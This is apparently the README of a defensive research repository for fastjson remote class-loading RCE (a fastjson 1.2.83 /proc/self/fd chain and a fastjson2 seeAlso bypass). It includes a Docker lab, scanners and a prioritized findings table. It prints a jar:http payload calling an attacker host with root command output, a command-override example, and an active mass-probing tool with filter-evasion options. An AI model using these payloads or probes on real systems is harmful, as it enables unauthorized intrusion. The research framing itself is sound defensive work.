Docker 实验环境 + 针对 fastjson 远程类加载 RCE 的防御性扫描器。fastjson 1.2.66-1.2.83:@JSONType 资源探测(CVE-2026-16723)。fastjson2 2.0.57:攻击者的 @type 通过多态类型(@JSONType(seeAlso) / Jackson @JsonSubTypes)在 autoType 禁用的情况下到达 loadClass。仅含标记的 payload;由 safeMode + JDK17 控制。
@JSONType 远程 JAR/FD 链实验与检测本仓库目前保留了两条不同的 Fastjson 研究方向:
modern-fd/ 是**仅标记(marker-only)**的复现,对应 Spring Boot 3、普通内嵌 Tomcat 和 JDK 17 上 Fastjson 1.2.83 的单请求体远程 JAR/文件描述符链。它使用固定 DTO 的字面接收点 JSON.parseObject(body, BoundEnvelope.class),并且 AutoType 处于关闭状态。scanner/ 包含被动请求/日志检测、静态产物清单以及不执行任何代码的可达性探测工具。这个 bug 在于:
ParserConfig.checkAutoType会通过getResourceAsStream(typeName.replace('.','/') + ".class")对每个@type值探测是否存在@JSONType注解。 在现代 Linux/JDK 组合上,远程jar:http探测可能会让 JAR 缓存保留在某个打开的描述符之后;同一请求体中后续的jar:file:/proc/self/fd/N探测可以在合法类名下重新打开它,并初始化某个带注解的类。这一精确的 1.2.83 组合在 AutoType 关闭 且经由一个包含List<Object>的固定 DTO 时依然有效。因此,仅做 DTO 绑定并不能起到缓解作用。完整讲解见docs/MECHANISM.md。
配套的全项目审查覆盖了 Fastjson 1.2.83 全部 193 个生产 Java 文件中的 2,041 个可调用/静态初始化器条目。下表按影响优先级排列;这并不意味着每个 Fastjson 部署都受影响。本仓库直接复现了 F105。其余条目是对单独封存的源码审查和限定范围实验证据的总结。
验证标签、前提条件、较低优先级发现、修复优先级以及明确的负面边界,请参阅 findings/FINDINGS.md。
本仓库仅用于教育、防御性研究和经授权测试,适用于你拥有或明确获准测试的系统。现代实验内部网络如需发布服务,仅请求绑定在 127.0.0.1;其脚本完全在该隔离网络内驱动测试。现代实验没有任何进程执行原语,只设置一个固定的 JVM 内标记。
遗留 JDK 8 实验确实会执行 id 并将其输出写入 /tmp/PWNED;请保持其隔离。不要将遗留漏洞利用或主动探测指向未经授权的系统。
scanner/ 目录提供了四个无依赖的 Python 3 工具(无需 pip 安装)。
fjdetect.py — 被动检查解码后的 JSON 请求体或结构化 JSON 日志,寻找远程 JAR 种子以及 /proc/self/fd 或 /dev/fd 序列。fjscan_static.py — 对 jars/wars/ears 进行清单盘点,识别存在漏洞的组合(基于内容验证的 1.2.83 × 实际 Spring Boot loader 类内容,并带元数据核实)。带探测特征的 1.2.48–1.2.82 版本以及仅元数据/文件名的候选者会单独报告以供审查。适合 CI 门禁(在 EXPOSED 时以退出码 2 结束)。fjscan_probe.py — 主动但安全的可达性检查:将 @type 发送到你控制的 canary(内置监听器或 Burp Collaborator / interactsh),并关联资源获取回调。其内置监听器返回空 404;外部监听器请做等价配置。回调并不证明类加载或 RCE。fjpayload.py — 为手工测试生成远程资源获取请求体;当不打算执行代码时,只使用空/404 监听器。# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
# DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = 每行一个目标——完整的 [METHOD ]URL 或裸域名(通过 --scheme / --target-port / --path 展开);允许 # 注释:
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py(主动探测)
fjscan_static.py(清单盘点):<paths…> · --threads N(默认 8)· --json(机器可读输出;若存在任何 EXPOSED,退出码为 2)。
fjpayload.py(生成器):<collaborator> · --targets-file/-f <file|->(批量)· --port · --token · --wrap · --entry。
Collaborator 说明:
@JSONType的jar:接收点会执行typeName.replace('.','/'),因此主机名中的每个点都会变成斜杠——带点的 Burp Collaborator 子域名(abc.oastify.com)无法通过它送达(工具会回退到整数 IP + URL 路径 token)。若要把回调送进公共 Collaborator,请使用--probe-type dns:java.net.Inet4Address原语接受带点主机名并触发 DNS 交互(<tok>.<sub>.oastify.com),从而确认Inet4Address解析原语 + 出网能力。这是前提性证据,并非远程 JAR/FD 终点的证明。参见scanner/README.md。
要求: Docker + Docker Compose,并且首次构建时能访问 Maven Central(用于获取 fastjson / spring-boot-loader / asm)。
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
正例向普通内嵌 Tomcat 的请求线程发送一个请求体。其字面接收点是 final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class)。成功仅指固定属性与日志 token FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1;响应仍会返回正常绑定的 BoundEnvelope。证据目录包含请求、响应、容器元数据、日志和 SHA-256 清单。
对照实验涵盖普通 JSON、无种子的 FD 候选、先有种子后接不可能描述符,以及 SafeMode。参见 modern-fd/README.md。
FearsOff 披露展示了同样的保留 JAR 终点在 JDK 21 上的表现,它使用进程持久缓存,并且每个请求只带一个 FD 候选。本仓库的现代实验则复现了单请求体 JDK 17 组合:失败软种子和有界 FD 候选由同一个固定 DTO 请求携带。JDK 21 仍属外部报告,不是本仓库产出的运行时结果。
原始的顶层 Compose 项目仍可用于复现更早的单阶段路线。与 modern-fd/ 不同,它可以执行命令,且只能在隔离实验环境中运行:
make up
make exploit
make down
make exploit 的预期输出:
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
ClassCastException 正说明绑定并不是缓解措施:攻击者类在 @type 探测期间就会运行其 <clinit>,早于 fastjson 试图将其转换为 Dto 之前。
target/Dockerfile 改为 JDK 17 会阻止这种遗留的构造类名定义,只留下一次资源获取。该结果并不测试或缓解 modern-fd/ 中独立的 /proc/self/fd 延续。setAutoTypeSupport(true)——请查看 http://127.0.0.1:8080/ 上的横幅。PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker。在普通无 handler 的路径上启用 -Dfastjson.parser.safeMode=true,或者在不便立即迁移时使用厂商的 com.alibaba:fastjson:1.2.83_noneautotype 构建,并审计已安装的 AutoTypeCheckHandler。限制 JVM 出网;将不可信解析迁移出 Fastjson 1.x;对解码后的 @type 远程 JAR 种子以及 /proc/self/fd 或 /dev/fd 候选,既要在单请求内告警,也要跨请求关联告警。对于现代组合,DTO 绑定与 JDK 9+ 都不是完整的缓解措施。
fastjson2/ 是第二个独立实验。fastjson2 不包含 fastjson 1.x 的 @JSONType 资源探测。然而,只要解析路径涉及多态类型,即使 autoType 关闭,攻击者控制的 @type 也能到达 ClassLoader.loadClass()——因为 ObjectReaderSeeAlso 的构造函数硬编码了 SupportAutoType,而且 seeAlso 未命中时会先回退到完整的 autoType 解析,然后才执行可赋值性以及 DataSource/RowSet 检查。
触发条件都是普通的建模注解——@JSONType(seeAlso=)、Jackson @JsonSubTypes(因为 useJacksonAnnotation 默认为 true 而被支持)、@JsonTypeInfo、sealed 类型。在 Spring Boot fat jar 下,上下文类加载器可以解析 jar:http: 名称,因此类会从网络获取并运行其静态初始化器。
已在 fastjson2 2.0.62(最新版)和 2.0.57 上、JDK 8 环境中复现。safeMode=true 可阻止它;JDK 17 将其降级为 SSRF;autoTypeFilter(...) 无法防护。由 Chaitin(长亭) 披露,约 2026-07-25——这不是本仓库的发现。维护者正在 PR #7703(取代已关闭的 #7695)中推进加固工作,该 PR 会拒绝类型名中的 : 和 !;当前没有任何已发布版本包含该修复——2.0.62 早于这两个 PR。
make fj2-safety # prove the payload is marker-only
make fj2-positive # default config -> remote class defined + initialised
make fj2-controls # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist
/proc/self/fd 机制。@JSONType / jar-URL 内部名称技术: @wouijvziqy —— https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC。attacker/Gen.java 为本实验重新实现了该技术。/proc/self/fd 的假设。它们被视为外部报告,而非独立的运行时证明。modern-fd/ 使用独立编写的仅标记类和一个正常的固定 DTO Tomcat 端点。fastjson2/ 实验是对该披露的独立复现,并非本仓库的原创发现。跟踪线程:issue #7702(由用户 开启);维护者加固见 / 已关闭的 。本实验与 scanner/ 工具将这些发现打包成可复现的测试平台和防御性检查工具。与上述研究人员无关联,也未获其认可。
| 优先级 | 发现项 | 已验证结果 | 重要边界 |
|---|
| 1 | F105 — 远程 @JSONType 字节码执行 | 通过兼容的 Spring Boot 类加载器实现攻击者可控的类初始化,包括 JDK 8 直接路线和 Linux/JDK 17 保留 JAR 的 /proc/self/fd/N 延续 | 需要解析器可触及的 @type 载体、兼容的 Boot/TCCL 加载器、出网、SafeMode/IgnoreAutoType 关闭,以及精确的攻击者 JAR。现代固定 DTO 路线还额外需要泛型值通道(实验使用 List<Object>)、Linux procfs、保留的描述符和精确的类名对齐;并非对所有 JDK、加载器或操作系统都适用 |
| 2 | F1/F45 — TemplatesImpl 命令执行 | 通过固定 DTO API 实现标记命令执行,包括一个被忽略的请求体属性 | 需要弱化的服务端策略:类准入、AutoType 以及私有字段填充或等价路径;默认状态会阻止它 |
| 3 | F70/C016 — 无界缓冲与 GZIP 展开 | 带类型的 byte/InputStream 和带注解 DTO 路径在没有输出上限的情况下进行展开或缓冲;在受限堆 Java 上复现了 OOME | 需要端点/模式以及攻击者字节可达性;未证明会造成生产环境大面积中断 |
| 4 | F18/C089 — 解析器线程栈耗尽 | 默认解析下,深度嵌套的普通对象值可以产生 StackOverflowError | 影响请求线程可用性;并非必然导致 JVM 或服务整体崩溃 |
| 5 | F120/C162 — 固定 schema 的 HTTP SSRF/本地资源加载 | 请求体控制的 JEditorPane/JTextPane.page 会发起 HTTP 请求,并可加载受限的 file: 内容到 Document 状态 | 需要应用声明 Swing 类型;未证明自动响应外带或 RCE |
| 6 | F118/C160 — 哈希碰撞授权/数据完整性失效 | 一个不同的 Unicode FNV-1a-64 碰撞可以绑定到特权枚举常量,或将 JSONPath 变更路由到错误的 bean setter | 需要可用的碰撞以及下游信任或暴露的 JSONPath 变更操作;无需类准入或 RCE |
| 7 | F121/C163 — 固定 JdbcRowSet JNDI 可达性 | 精确的 setter 顺序导致一次由请求体选择的外部 JNDI/LDAP 连接 | 证据止步于连接:没有命名响应、对象工厂、字节码加载或 RCE |
| 8 | F2/F45 — 默认 DNS 解析 | 攻击者可控的主机名解析在默认配置下有效,并能通过一个被忽略的固定 DTO 属性触发 | 仅 DNS/OOB 交互,不是通用 HTTP SSRF 或 RCE |
| 标志 | 默认值 | 用途 |
|---|
--auto | off | 最简单 — 对每个目标发送 baseline + plain + Unicode 转义对比 DNS 探测,并打印汇总;只需 --collaborator + --targets |
--canary-ip <ip> | — | 内置监听器模式;目标所看到的此主机 IP |
--collaborator <v> | — | 外部 OOB(IPv4 / int / 无点主机 / Collaborator 子域名) |
--probe-type <t> | jsontype | 手动模式:jsontype = 远程资源获取路径(jar:http int-IP);dns = 通过带点主机名进行 Inet4Address OOB(兼容 Collaborator);both |
--targets <file|-> | — | 非空目标列表;- 从 stdin 读取(必需);空/仅注释输入以非零退出 |
--threads N | 20 | 并发请求 worker 数 |
--header 'K: V' | — | 额外的请求头(可重复);默认会发送类浏览器的 --user-agent,以模拟有代表性的前端请求 |
--baseline '{"a":1}' | — | 同时为每个目标发送一个良性对照请求体;baseline/探测响应的差异与对内容敏感的边界设备、中间件或应用处理一致,需要进一步佐证 |
--max-redirects N | 3 | 跟随最多 N 次同源重定向,或标准的同主机 HTTP:80→HTTPS:443 升级(0 = 不跟随);阻止 HTTPS 降级、任意端口/源变更以及跨主机重定向;升级时仅保留基础非敏感请求头 |
--evasion {ukey,uval,both} | none | 对 @type 键/类值进行 \uXXXX 转义(fastjson 仍会解码);仅在绕过模式下的回调与“解码后的探测数据穿透了字面关键字过滤器”一致,但仍需解析器/版本佐证 |
--scheme / --target-port / --path | http / — / /parse | 裸域名如何被展开 |
--method | POST | 默认 HTTP 方法 |
--wrap '{"u":{{P}}}' | {{P}} | 将探测对象嵌套到某个字段内 |
--listen-port / --port | 19000 / 80 | 内置 canary 端口 / collaborator 端口 |
--wait / --timeout | 10 / 8 | 等待回调的秒数 / 每次请求的超时秒数 |
| 路径 | 说明 |
|---|
modern-fd/ | 仅标记的 Boot 3/JDK 17 固定 DTO FD 链实验及决定性对照 |
scanner/ | 被动负载/日志检测、静态清单盘点以及不执行代码的可达性工具 |
target/ | 遗留 JDK 8 目标,使用 JSON.parseObject(body, Dto.class),并手工选择 Boot 加载器 |
attacker/ | 遗留的可执行命令 JDK 8 类生成器与 JAR 服务器 |
exploit/ | 遗留 exploit.sh 验证脚本 |
docs/MECHANISM.md | 带注释的源码讲解 |
findings/FINDINGS.md | 按优先级排列的全项目发现、前提条件与修复边界 |
sevcksafeMode,以及与 CVE-2022-25845 相关的 autoType 历史)。